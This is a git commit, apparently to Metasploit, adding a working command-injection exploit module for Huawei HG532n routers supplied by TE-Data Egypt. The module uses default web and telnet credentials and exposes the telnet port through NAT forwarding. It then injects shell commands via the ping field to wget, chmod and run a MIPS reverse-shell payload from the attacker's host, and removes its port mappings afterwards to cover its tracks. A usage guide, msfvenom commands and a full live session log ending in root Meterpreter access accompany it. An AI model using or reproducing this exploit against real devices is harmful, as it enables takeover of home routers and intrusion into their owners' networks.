Add Huawei HG532n command injection exploit
parent
759dbcfe81
commit
7b8e5e5016
|
@ -0,0 +1,158 @@
|
|||
# HG532n Command Injection Exploit
|
||||
|
||||
## Introduction
|
||||
|
||||
The Huawei HG532n routers, shipped by TE-Data Egypt, are vulnerable to a command
|
||||
injection exploit in the ping field of their limited shell interface.
|
||||
|
||||
Affected hardware/software version strings:
|
||||
|
||||
```
|
||||
Manufacturer: Huawei Technologies Co., Ltd.
|
||||
Product Style: HG532n
|
||||
SN: B7J7SB9381703791
|
||||
IP: 192.168.1.1
|
||||
Hardware Version: HG532EAM1HG530ERRAMVER.B
|
||||
Software Version: V100R001C105B016 TEDATA
|
||||
```
|
||||
|
||||
|
||||
## Usage
|
||||
|
||||
- Set `payload` to `linux/mipsbe/mettle_reverse_tcp`
|
||||
|
||||
- Set `RHOST` to the target router's IP
|
||||
|
||||
- Set `SRVHOST` to your local machine's __external__ IP. The module starts its
|
||||
own HTTP server; this is the IP the exploit will use to fetch the MIPSBE
|
||||
payload from, through an injected `wget` command. Make sure this address is
|
||||
accessible from outside.
|
||||
|
||||
- Set `SRVPORT` to the desired local HTTP server port number. Make sure this
|
||||
port is accessible from outside.
|
||||
|
||||
- Set `LHOST` to your machine's __external__ IP address. A successful Reverse
|
||||
TCP payload will ring us back to this IP.
|
||||
|
||||
- Set `LPORT` to an arbitrary port number that is accessible from outside
|
||||
networks. Metasploit will open a listener on that port and wait for the
|
||||
payload to connect back to us.
|
||||
|
||||
- Set `VERBOSE` to `true` if you want to see much more verbose output (Detailed
|
||||
injected telnet commands output).
|
||||
|
||||
TE-Data firmware ships with the `user:user` login credentials by default.
|
||||
They offer limited functionality, but they are enough for our purposes.
|
||||
In case you want want to change these, set `HttpUsername` and `HttpPassword`
|
||||
appropriately.
|
||||
|
||||
Now everything should be ready to run the exploit. Enjoy your Meterpreter
|
||||
session :-)
|
||||
|
||||
Alternatively, you can avoid hosting the payload executable from within the
|
||||
module's own HTTP server and host it externally. To do so, first generate
|
||||
the payload ELF executable using `msfvenom`:
|
||||
|
||||
```
|
||||
$ msfvenom --format elf --arch mipsbe --platform linux --payload linux/mipsbe/mettle/reverse_tcp --out payload.elf LHOST='41.34.32.121' LPORT=4444
|
||||
|
||||
No encoder or badchars specified, outputting raw payload
|
||||
Payload size: 212 bytes
|
||||
Final size of elf file: 296 bytes
|
||||
Saved as: payload.elf
|
||||
```
|
||||
|
||||
Then host the `payload.elf` file on an external, direct-access, web
|
||||
server. Afterwards set `DOWNHOST` to the external server's IP address
|
||||
and `DOWNFIILE` to the payload's path on that server. Run the exploit
|
||||
afterwards.
|
||||
|
||||
|
||||
## Live Scenario
|
||||
|
||||
```
|
||||
$ msfconsole
|
||||
msf > use exploit/linux/http/huawei_hg532n_cmdinject
|
||||
|
||||
msf exploit(huawei_hg532n_cmdinject) > set RHOST 197.38.98.11
|
||||
RHOST => 197.38.98.11
|
||||
|
||||
msf exploit(huawei_hg532n_cmdinject) > set SRVHOST 41.34.32.121
|
||||
SRVHOST => 41.34.32.121
|
||||
|
||||
msf exploit(huawei_hg532n_cmdinject) > set LHOST 41.34.32.121
|
||||
LHOST => 41.34.32.121
|
||||
|
||||
msf exploit(huawei_hg532n_cmdinject) > set VERBOSE true
|
||||
VERBOSE => true
|
||||
|
||||
msf exploit(huawei_hg532n_cmdinject) > exploit
|
||||
[*] Exploit running as background job.
|
||||
msf exploit(huawei_hg532n_cmdinject) >
|
||||
[-] Handler failed to bind to 41.34.32.121:4444:- -
|
||||
[*] Started reverse TCP handler on 0.0.0.0:4444
|
||||
[*] Validating router's HTTP server (197.38.98.11:80) signature
|
||||
[+] Good. Router seems to be a vulnerable HG532n device
|
||||
[+] Telnet port forwarding succeeded; exposted telnet port = 33552
|
||||
[*] Connecting to just-exposed telnet port 33552
|
||||
[+] Connection succeeded. Passing telnet credentials
|
||||
[*] Received new reply token = '<27><><01><>
|
||||
Password:'
|
||||
[*] Received new reply token = 'Password:'
|
||||
[+] Credentials passed; waiting for prompt 'HG520b>'
|
||||
[*] Received new reply token = 'HG520b>'
|
||||
[+] Prompt received. Telnet access fully granted!
|
||||
[*] Starting web server; hostinig /MDGuEPiUDBRXD
|
||||
[*] Using URL: http://0.0.0.0:8080/MDGuEPiUDBRXD
|
||||
[*] Local IP: http://192.168.1.3:8080/MDGuEPiUDBRXD
|
||||
[*] Runninig command on target: wget -g -v -l /tmp/zjtmztfz -r /MDGuEPiUDBRXD -P8080 41.34.32.121
|
||||
[*] Received new reply token = 'p'
|
||||
[*] Received new reply token = 'ing ?;wget${IFS}-g${IFS}-v${IFS}-l${IFS}/tmp/zjtmztfz${IFS}-r${IFS}/MDGuEPiUDBRXD${IFS}-P8080${IFS}41.34.32.121;true'
|
||||
[*] Received new reply token = 'ping: bad address '?''
|
||||
[+] HTTP server received request. Sending payload to victim
|
||||
[*] Received new reply token = 'The IP is [41.34.32.121]'
|
||||
[*] Received new reply token = 'Success
|
||||
ping result:
|
||||
HG520b>'
|
||||
[+] Command executed succesfully
|
||||
[*] Runninig command on target: chmod 777 /tmp/zjtmztfz
|
||||
[*] Received new reply token = 'p'
|
||||
[*] Received new reply token = 'ing ?;chmod${IFS}777${IFS}/tmp/zjtmztfz;trueping: bad address '?'
|
||||
|
||||
Success
|
||||
ping result:
|
||||
HG520b>'
|
||||
[+] Command executed succesfully
|
||||
[*] Runninig command on target: /tmp/zjtmztfz
|
||||
[*] Received new reply token = 'p'
|
||||
[*] Received new reply token = 'ing ?;/tmp/zjtmztfz&trueping: bad address '?'
|
||||
|
||||
Success
|
||||
ping result:
|
||||
HG520b>'
|
||||
[+] Command executed succesfully
|
||||
[*] Runninig command on target: rm /tmp/zjtmztfz
|
||||
[*] Received new reply token = 'p'
|
||||
[*] Received new reply token = 'ing ?;rm${IFS}/tmp/zjtmztfz;trueping: bad address '?'
|
||||
|
||||
Success
|
||||
ping result:
|
||||
HG520b>'
|
||||
[+] Command executed succesfully
|
||||
[*] Waiting for the payload to connect back ..
|
||||
[*] Meterpreter session 1 opened (192.168.1.3:4444 -> 197.38.98.11:50097) at 2017-04-15 16:45:05 +0200
|
||||
[+] Payload connected!
|
||||
[*] Server stopped.
|
||||
|
||||
msf exploit(huawei_hg532n_cmdinject) > sessions 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.1.1
|
||||
OS : (Linux 2.6.21.5)
|
||||
Architecture : mips
|
||||
Meterpreter : mipsbe/linux
|
||||
meterpreter >
|
||||
```
|
|
@ -0,0 +1,550 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'base64'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(
|
||||
info,
|
||||
'Name' => 'Huawei HG532n Command Injection',
|
||||
'Description' => %q{
|
||||
|
||||
The Huawei HG532n routers are vulnerable to a command injection exploit
|
||||
in the ping field of their limited shell interface.
|
||||
|
||||
TE-Data, the incumbent ISP operator in Egypt, provides this router to
|
||||
customers by default. The web interface has two kinds of logins, a
|
||||
"limited" user:user login given to all customers, and an admin mode used
|
||||
by company's technical staff. From machines within the TE-Data network,
|
||||
this web interface is remotely accessible.
|
||||
|
||||
The web interface's user mode provides very limited functionality, only
|
||||
WIFI passwords change and NAT port-forwarding. Nonetheless by port
|
||||
forwarding the router's own (filtered) telnet port, it becomes remotely
|
||||
accessible. All installed routers have a telnet password of admin:admin.
|
||||
|
||||
Due to the ISP's (encrypted) runtime router configuration [*] though,
|
||||
the telnet daemon does not provide a direct linux shell. Rather a very
|
||||
limited custom shell is provided instead: "ATP command line tool". The
|
||||
limited shell has a ping command which falls back to the system shell
|
||||
though ("ping %s > /var/res_ping"). We exploit that through command
|
||||
injection to gain Meterpreter root access.
|
||||
|
||||
[*] <X_ServiceManage TelnetEnable="1" TelnetPort="23" ConsoleEnable=""/>
|
||||
at encrypted, read-only, /etc/defaultcfg.xml.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Ahmed S. Darwish <darwish.07@gmail.com>', # Vulnerability discovery + msf module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['linux'],
|
||||
'Arch' => ARCH_MIPSBE,
|
||||
'Privileged' => true,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'PAYLOAD' => 'linux/mipsbe/mettle_reverse_tcp'
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[
|
||||
'Linux mipsbe Payload',
|
||||
{
|
||||
'Arch' => ARCH_MIPSBE,
|
||||
'Platform' => 'linux'
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Apr 15 2017'
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
OptString.new('HttpUsername', [false, 'Valid web-interface user-mode username', 'user']),
|
||||
OptString.new('HttpPassword', [false, 'Web-interface username password', 'user']),
|
||||
OptString.new('TelnetUsername', [false, 'Valid router telnet username', 'admin']),
|
||||
OptString.new('TelnetPassword', [false, 'Telnet username password', 'admin']),
|
||||
OptAddress.new('DOWNHOST', [false, 'Alternative host to request the MIPS payload from']),
|
||||
OptString.new('DOWNFILE', [false, 'Filename to download, (default: random)']),
|
||||
OptInt.new("ListenerTimeout", [true, "Number of seconds to wait for the exploit to connect back", 60])
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
httpd_fingerprint = %r{
|
||||
\A
|
||||
HTTP\/1\.1\s200\sOK\r\n
|
||||
CACHE-CONTROL:\sno-cache\r\n
|
||||
Date:\s.*\r\n
|
||||
Connection:\sKeep-Alive\r\n
|
||||
Content-Type:\stext\/html\r\n
|
||||
Content-Length:\s\d+\r\n
|
||||
\r\n
|
||||
<html>\n<head>\n
|
||||
<META\shttp-equiv="Content-Type"\scontent="text\/html;\scharset=UTF-8">\r\n
|
||||
<META\shttp-equiv="Pragma"\scontent="no-cache">\n
|
||||
<META\shttp-equiv="expires"\sCONTENT="-1">\n
|
||||
<link\srel="icon"\stype="image\/icon"\shref="\/favicon.ico"\/>
|
||||
}x
|
||||
|
||||
begin
|
||||
res = send_request_raw(
|
||||
'method' => 'GET',
|
||||
'uri' => '/'
|
||||
)
|
||||
rescue ::Rex::ConnectionError
|
||||
print_error("#{rhost}:#{rport} - Could not connect to device")
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
if res && res.code == 200 && res.to_s =~ httpd_fingerprint
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
#
|
||||
# The Javascript code sends all passwords in the form:
|
||||
# form.setAction('/index/login.cgi');
|
||||
# form.addParameter('Username', Username.value);
|
||||
# form.addParameter('Password', base64encode(SHA256(Password.value)));
|
||||
# Do the same base64 encoding and SHA-256 hashing here.
|
||||
#
|
||||
def hash_password(password)
|
||||
sha256 = OpenSSL::Digest::SHA256.hexdigest(password)
|
||||
Base64.encode64(sha256).gsub(/\s+/, "")
|
||||
end
|
||||
|
||||
#
|
||||
# Without below cookies, which are also sent by the JS code, the
|
||||
# server will consider even correct HTTP requests invalid
|
||||
#
|
||||
def generate_web_cookie(admin: false, session: nil)
|
||||
if admin
|
||||
cookie = 'FirstMenu=Admin_0; '
|
||||
cookie << 'SecondMenu=Admin_0_0; '
|
||||
cookie << 'ThirdMenu=Admin_0_0_0; '
|
||||
else
|
||||
cookie = 'FirstMenu=User_2; '
|
||||
cookie << 'SecondMenu=User_2_1; '
|
||||
cookie << 'ThirdMenu=User_2_1_0; '
|
||||
end
|
||||
|
||||
cookie << 'Language=en'
|
||||
cookie << "; #{session}" unless session.nil?
|
||||
cookie
|
||||
end
|
||||
|
||||
#
|
||||
# Login to the router through its JS-based login page. Upon a succesful
|
||||
# login, return the keep-alive HTTP session cookie
|
||||
#
|
||||
def web_login
|
||||
cookie = generate_web_cookie(admin: true)
|
||||
|
||||
# On good passwords, the router redirect us to the /html/content.asp
|
||||
# homepage. Otherwise, it throws us back to the '/' login page. Thus
|
||||
# consider the ASP page our valid login marker
|
||||
invalid_login_marker = "var pageName = '/'"
|
||||
valid_login_marker = "var pageName = '/html/content.asp'"
|
||||
|
||||
username = datastore['HttpUsername']
|
||||
password = datastore['HttpPassword']
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => '/index/login.cgi',
|
||||
'cookie' => cookie,
|
||||
'vars_post' => {
|
||||
'Username' => username,
|
||||
'Password' => hash_password(password)
|
||||
}
|
||||
)
|
||||
fail_with(Failure::Unreachable, "Connection timed out") if res.nil?
|
||||
|
||||
unless res.code == 200
|
||||
fail_with(Failure::NotFound, "Router returned unexpected HTTP code #{res.code}")
|
||||
end
|
||||
|
||||
return res.get_cookies if res.body.include? valid_login_marker
|
||||
|
||||
if res.body.include? invalid_login_marker
|
||||
fail_with(Failure::NoAccess, "Invalid web interface credentials #{username}:#{password}")
|
||||
else
|
||||
fail_with(Failure::UnexpectedReply, "Neither valid or invalid login markers received")
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# The telnet port is filtered by default. Expose it to the outside world
|
||||
# through NAT forwarding
|
||||
#
|
||||
def expose_telnet_port(session_cookies)
|
||||
cookie = generate_web_cookie(session: session_cookies)
|
||||
|
||||
external_telnet_port = rand(32767) + 32768
|
||||
|
||||
portmapping_page = '/html/application/portmapping.asp'
|
||||
url_append = "?x=InternetGatewayDevice.WANDevice.1.WANConnectionDevice.1.WANPPPConnection.1.PortMapping&RequestFile=#{portmapping_page}"
|
||||
valid_port_export_marker = "var pageName = '#{portmapping_page}';"
|
||||
invalid_port_export_marker = /var ErrInfo = \d+/
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => '/html/application/addcfg.cgi' + url_append,
|
||||
'cookie' => cookie,
|
||||
'headers' => { 'Referer' => "http://#{rhost}#{portmapping_page}" },
|
||||
'vars_post' => {
|
||||
'x.PortMappingProtocol' => "TCP",
|
||||
'x.PortMappingEnabled' => "1",
|
||||
'x.RemoteHost' => "",
|
||||
'x.ExternalPort' => external_telnet_port.to_s,
|
||||
'x.ExternalPortEndRange' => external_telnet_port.to_s,
|
||||
'x.InternalClient' => "192.168.1.1",
|
||||
'x.InternalPort' => "23",
|
||||
'x.PortMappingDescription' => Rex::Text.rand_text_alpha(10) # Minimize any possible conflict
|
||||
}
|
||||
)
|
||||
fail_with(Failure::Unreachable, "Connection timed out") if res.nil?
|
||||
|
||||
unless res.code == 200
|
||||
fail_with(Failure::NotFound, "Router returned unexpected HTTP code #{res.code}")
|
||||
end
|
||||
|
||||
if res.body.include? valid_port_export_marker
|
||||
print_good "Telnet port forwarding succeeded; exposted telnet port = #{external_telnet_port}"
|
||||
return external_telnet_port
|
||||
end
|
||||
|
||||
if res.body.match? invalid_port_export_marker
|
||||
fail_with(Failure::Unknown, "Router reported portmapping error. " \
|
||||
"A port-forwarding entry with same external port (#{external_telnet_port}) already exist?")
|
||||
end
|
||||
|
||||
fail_with(Failure::UnexpectedReply, "Port-forwarding failed: neither valid or invalid markers received")
|
||||
end
|
||||
|
||||
#
|
||||
# Cover our tracks; don't leave the exposed router's telnet port open
|
||||
#
|
||||
def hide_exposed_telnet_port(session_cookies)
|
||||
cookie = generate_web_cookie(session: session_cookies)
|
||||
portmapping_page = '/html/application/portmapping.asp'
|
||||
|
||||
# Gather a list of all existing ports forwarded so we can purge them soon
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => portmapping_page,
|
||||
'cookie' => cookie
|
||||
)
|
||||
|
||||
unless res && res.code == 200
|
||||
print_warning "Could not get current forwarded ports from web interface"
|
||||
end
|
||||
|
||||
# Collect existing port-forwarding keys; to be passed to the delete POST request
|
||||
portforward_key = /InternetGatewayDevice\.WANDevice\.1\.WANConnectionDevice\.1\.WANPPPConnection\.1\.PortMapping\.\d+/
|
||||
vars_post = {}
|
||||
res.body.scan(portforward_key).uniq.each do |key|
|
||||
vars_post[key] = ""
|
||||
end
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => "/html/application/del.cgi?RequestFile=#{portmapping_page}",
|
||||
'cookie' => cookie,
|
||||
'headers' => { 'Referer' => "http://#{rhost}#{portmapping_page}" },
|
||||
'vars_post' => vars_post
|
||||
)
|
||||
return if res && res.code == 200
|
||||
|
||||
print_warning "Could not re-hide exposed telnet port"
|
||||
end
|
||||
|
||||
#
|
||||
# Cleanup our state, after any succesful web login. Note: router refuses
|
||||
# more than 3 concurrent logins from the same IP. It also forces a 1-minute
|
||||
# delay after 3 unsuccesful logins from _any_ IP.
|
||||
#
|
||||
def web_logout(session_cookies)
|
||||
cookie = generate_web_cookie(admin: true, session: session_cookies)
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => '/index/logout.cgi',
|
||||
'cookie' => cookie,
|
||||
'headers' => { 'Referer' => "http://#{rhost}/html/main/logo.html" }
|
||||
)
|
||||
return if res && res.code == 200
|
||||
|
||||
print_warning "Could not logout from web interface. Future web logins may fail!"
|
||||
end
|
||||
|
||||
#
|
||||
# Don't leave web sessions idle for too long (> 1 second). It triggers the
|
||||
# HTTP server's safety mechanisms and make it refuse further operations.
|
||||
#
|
||||
# Thus do all desired web operations in chunks: log in, do our stuff (passed
|
||||
# block), and immediately log out. The router's own javescript code handles
|
||||
# this by sending a refresh request every second.
|
||||
#
|
||||
def web_operation
|
||||
begin
|
||||
cookie = web_login
|
||||
yield cookie
|
||||
ensure
|
||||
web_logout(cookie) unless cookie.nil?
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Helper method. Used for waiting on telnet banners and prompts.
|
||||
# Always catch the ::Timeout::Error exception upon calling this.
|
||||
#
|
||||
def read_until(sock, timeout, marker)
|
||||
received = ''
|
||||
Timeout.timeout(timeout) do
|
||||
loop do
|
||||
r = (sock.get_once(-1, 1) || '')
|
||||
next if r.empty?
|
||||
|
||||
received << r
|
||||
print_status "Received new reply token = '#{r.strip}'" if datastore['VERBOSE'] == true
|
||||
return received if received.include? marker
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Borrowing constants from Ruby's Net::Telnet class (ruby license)
|
||||
#
|
||||
IAC = 255.chr # "\377" # "\xff" # interpret as command
|
||||
DO = 253.chr # "\375" # "\xfd" # please, you use option
|
||||
OPT_BINARY = 0.chr # "\000" # "\x00" # Binary Transmission
|
||||
OPT_ECHO = 1.chr # "\001" # "\x01" # Echo
|
||||
OPT_SGA = 3.chr # "\003" # "\x03" # Suppress Go Ahead
|
||||
OPT_NAOFFD = 13.chr # "\r" # "\x0d" # Output Formfeed Disposition
|
||||
|
||||
def telnet_auth_negotiation(sock, timeout)
|
||||
begin
|
||||
read_until(sock, timeout, 'Password:')
|
||||
sock.write(IAC + DO + OPT_ECHO + IAC + DO + OPT_SGA)
|
||||
rescue ::Timeout::Error
|
||||
fail_with(Failure::UnexpectedReply, "Expected first password banner not received")
|
||||
end
|
||||
|
||||
begin
|
||||
read_until(sock, timeout, 'Password:') # Router bug
|
||||
sock.write(datastore['TelnetPassword'] + OPT_NAOFFD + OPT_BINARY)
|
||||
rescue ::Timeout::Error
|
||||
fail_with(Failure::UnexpectedReply, "Expected second password banner not received")
|
||||
end
|
||||
end
|
||||
|
||||
def telnet_prompt_wait(error_regex = nil)
|
||||
begin
|
||||
result = read_until(@telnet_sock, @telnet_timeout, @telnet_prompt)
|
||||
if error_regex
|
||||
error_regex = [error_regex] unless error_regex.is_a? Array
|
||||
error_regex.each do |regex|
|
||||
if result.match? regex
|
||||
fail_with(Failure::UnexpectedReply, "Error expression #{regex} included in reply")
|
||||
end
|
||||
end
|
||||
end
|
||||
rescue ::Timeout::Error
|
||||
fail_with(Failure::UnexpectedReply, "Expected telnet prompt '#{@telnet_prompt}' not received")
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Basic telnet login. Due to mixins conflict, revert to using plain
|
||||
# Rex sockets (thanks @hdm!)
|
||||
#
|
||||
def telnet_login(port)
|
||||
print_status "Connecting to just-exposed telnet port #{port}"
|
||||
|
||||
@telnet_prompt = 'HG520b>'
|
||||
@telnet_timeout = 60
|
||||
|
||||
@telnet_sock = Rex::Socket.create_tcp(
|
||||
'PeerHost' => rhost,
|
||||
'PeerPort' => port,
|
||||
'Context' => { 'Msf' => framework, 'MsfExploit' => self },
|
||||
'Timeout' => @telnet_timeout
|
||||
)
|
||||
if @telnet_sock.nil?
|
||||
fail_with(Failure::Unreachable, "Exposed telnet port unreachable")
|
||||
end
|
||||
add_socket(@telnet_sock)
|
||||
|
||||
print_good "Connection succeeded. Passing telnet credentials"
|
||||
telnet_auth_negotiation(@telnet_sock, @telnet_timeout)
|
||||
|
||||
print_good "Credentials passed; waiting for prompt '#{@telnet_prompt}'"
|
||||
telnet_prompt_wait
|
||||
|
||||
print_good 'Prompt received. Telnet access fully granted!'
|
||||
end
|
||||
|
||||
def telnet_exit
|
||||
return if @telnet_sock.nil?
|
||||
@telnet_sock.write('exit' + OPT_NAOFFD + OPT_BINARY)
|
||||
end
|
||||
|
||||
#
|
||||
# Router's limited ATP shell just reverts to classical Linux
|
||||
# shell when executing a ping:
|
||||
#
|
||||
# "ping %s > /var/res_ping"
|
||||
#
|
||||
# A succesful injection would thus substitute all its spaces to
|
||||
# ${IFS}, and trails itself with ";true" so it can have its own
|
||||
# IO redirection.
|
||||
#
|
||||
def execute_command(command, error_regex = nil, background: false)
|
||||
print_status "Runninig command on target: #{command}"
|
||||
|
||||
command.gsub!(/\s/, '${IFS}')
|
||||
separator = background ? '&' : ';'
|
||||
atp_cmd = "ping ?;#{command}#{separator}true"
|
||||
|
||||
@telnet_sock.write(atp_cmd + OPT_NAOFFD + OPT_BINARY)
|
||||
telnet_prompt_wait(error_regex)
|
||||
print_good "Command executed succesfully"
|
||||
end
|
||||
|
||||
#
|
||||
# Our own HTTP server, for serving the payload
|
||||
#
|
||||
def start_http_server
|
||||
@pl = generate_payload_exe
|
||||
|
||||
downfile = datastore['DOWNFILE'] || rand_text_alpha(8 + rand(8))
|
||||
resource_uri = '/' + downfile
|
||||
|
||||
if datastore['DOWNHOST']
|
||||
print_status "Will not start local web server, as DOWNHOST is already defined"
|
||||
else
|
||||
print_status("Starting web server; hostinig #{resource_uri}")
|
||||
start_service(
|
||||
'ServerHost' => '0.0.0.0',
|
||||
'Uri' => {
|
||||
'Proc' => proc { |cli, req| on_request_uri(cli, req) },
|
||||
'Path' => resource_uri
|
||||
}
|
||||
)
|
||||
end
|
||||
|
||||
resource_uri
|
||||
end
|
||||
|
||||
#
|
||||
# HTTP server incoming request callback
|
||||
#
|
||||
def on_request_uri(cli, _request)
|
||||
print_good "HTTP server received request. Sending payload to victim"
|
||||
send_response(cli, @pl)
|
||||
end
|
||||
|
||||
#
|
||||
# Unfortunately we could not use the `echo' command stager since
|
||||
# the router's busybox echo does not understand the necessary
|
||||
# "-en" options. It outputs them to the binary instead.
|
||||
#
|
||||
# We could not also use the `wget' command stager, as Huawei
|
||||
# crafted their own implementation with much different params.
|
||||
#
|
||||
def download_and_run_payload(payload_uri)
|
||||
srv_host =
|
||||
if datastore['DOWNHOST']
|
||||
datastore['DOWNHOST']
|
||||
elsif datastore['SRVHOST'] == "0.0.0.0" || datastore['SRVHOST'] == "::"
|
||||
Rex::Socket.source_address(rhost)
|
||||
else
|
||||
datastore['SRVHOST']
|
||||
end
|
||||
|
||||
srv_port = datastore['SRVPORT'].to_s
|
||||
output_file = "/tmp/#{rand_text_alpha_lower(8)}"
|
||||
|
||||
# Custom Huawei busybox (v1.9) wget
|
||||
#
|
||||
# Options:
|
||||
# -g Download
|
||||
# -s Upload
|
||||
# -v Verbose
|
||||
# -l Local file path
|
||||
# -r Remote file path
|
||||
# -P Port to be used, optional
|
||||
#
|
||||
wget_cmd = "wget -g -v -l #{output_file} -r #{payload_uri} -P#{srv_port} #{srv_host}"
|
||||
|
||||
execute_command(wget_cmd, [/cannot connect/, /\d+ error/]) # `404 error', etc.
|
||||
execute_command("chmod 777 #{output_file}", /No such file/)
|
||||
execute_command(output_file, /not found/, background: true)
|
||||
execute_command("rm #{output_file}", /No such file/)
|
||||
end
|
||||
|
||||
#
|
||||
# At the end of the module, especially for reverse_tcp payloads, wait for
|
||||
# the payload to connect back to us. There's a very high probability we
|
||||
# will lose the payload's signal otherwise.
|
||||
#
|
||||
def wait_for_payload_session
|
||||
print_status "Waiting for the payload to connect back .."
|
||||
begin
|
||||
Timeout.timeout(datastore['ListenerTimeout']) do
|
||||
loop do
|
||||
break if session_created?
|
||||
Rex.sleep(0.25)
|
||||
end
|
||||
end
|
||||
rescue ::Timeout::Error
|
||||
fail_with(Failure::Unknown, "Timeout waiting for payload to start/connect-back")
|
||||
end
|
||||
print_good "Payload connected!"
|
||||
end
|
||||
|
||||
#
|
||||
# Main exploit code: login through web interface; port-forward router's
|
||||
# telnet; access telnet and gain root shell through command injection.
|
||||
#
|
||||
def exploit
|
||||
print_status "Validating router's HTTP server (#{rhost}:#{rport}) signature"
|
||||
unless check == Exploit::CheckCode::Appears
|
||||
fail_with(Failure::Unknown, "Unable to validate device fingerprint. Is it an HG532n?")
|
||||
end
|
||||
|
||||
print_good "Good. Router seems to be a vulnerable HG532n device"
|
||||
|
||||
telnet_port = nil
|
||||
web_operation do |cookie|
|
||||
telnet_port = expose_telnet_port(cookie)
|
||||
end
|
||||
|
||||
begin
|
||||
telnet_login(telnet_port)
|
||||
payload_uri = start_http_server
|
||||
download_and_run_payload(payload_uri)
|
||||
wait_for_payload_session
|
||||
ensure
|
||||
telnet_exit
|
||||
web_operation do |cookie|
|
||||
hide_exposed_telnet_port(cookie)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue